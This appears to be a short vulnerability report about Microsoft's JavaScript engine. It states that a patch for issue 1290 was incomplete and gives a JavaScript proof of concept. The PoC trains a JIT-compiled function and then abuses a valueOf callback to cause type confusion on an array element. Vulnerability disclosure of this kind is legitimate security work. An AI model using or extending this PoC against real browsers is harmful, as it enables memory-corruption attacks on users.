Coincidentally, Microsoft released the patch for the issue 1290 the day after I reported it. But it seems they fixed it incorrectly again.
|
|
|
|
This time, "func(a, b, i);" is replaced with "func(a, b, {});".
|
|
|
|
PoC:
|
|
-->
|
|
|
|
'use strict';
|
|
|
|
function func(a, b, c) {
|
|
a[0] = 1.2;
|
|
b[0] = c;
|
|
a[1] = 2.2;
|
|
a[0] = 2.3023e-320;
|
|
}
|
|
|
|
function main() {
|
|
let a = [1.1, 2.2];
|
|
let b = new Uint32Array(100);
|
|
|
|
for (let i = 0; i < 0x1000; i++)
|
|
func(a, b, {}); // <<---------- REPLACED
|
|
|
|
func(a, b, {valueOf: () => {
|
|
a[0] = {};
|
|
|
|
return 0;
|
|
}});
|
|
|
|
a[0].toString();
|
|
}
|
|
|
|
main();
